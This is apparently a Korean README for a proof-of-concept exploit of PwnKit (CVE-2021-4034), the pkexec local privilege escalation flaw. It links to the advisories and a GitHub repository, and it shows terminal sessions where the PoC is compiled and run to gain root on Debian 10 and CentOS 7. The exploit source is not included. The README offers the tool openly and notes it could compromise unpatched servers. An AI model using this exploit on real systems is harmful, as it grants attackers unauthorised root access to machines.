
CVE-2021-4034(PwnKit)에 대한 개념 증명 익스플로잇으로, polkit의 pkexec에서 발생하는 로컬 권한 상승 취약점이며 Debian 10 및 CentOS 7에서 검증되었습니다.

이 취약점은 원격으로 악용할 수 없고 그 자체로 임의 코드 실행을 허용하지 않지만, 취약한 호스트에 이미 발판을 마련한 공격자가 권한을 상승시키고 해당 기능을 달성하는 데 사용될 수 있습니다.
https://seclists.org/oss-sec/2022/q1/80https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
Debian 10 및 CentOS 7에서 검증되었습니다.
이 링크에서 저장소를 찾을 수 있습니다 → https://github.com/Yakumwamba/POC-CVE-2021-4034.git
user@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
user@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
[user@centos ~]$ grep PRETTY /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"
[user@centos ~]$ id
uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
[user@centos ~]$ ./cve-2021-4034-poc
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
또한 패치되지 않은 Linux 서버를 손상시키거나 비활성화하는 데 사용될 수 있습니다. 이 도구의 작성자는 사용으로 인해 발생할 수 있는 손해나 손실에 대해 책임을 지지 않습니다.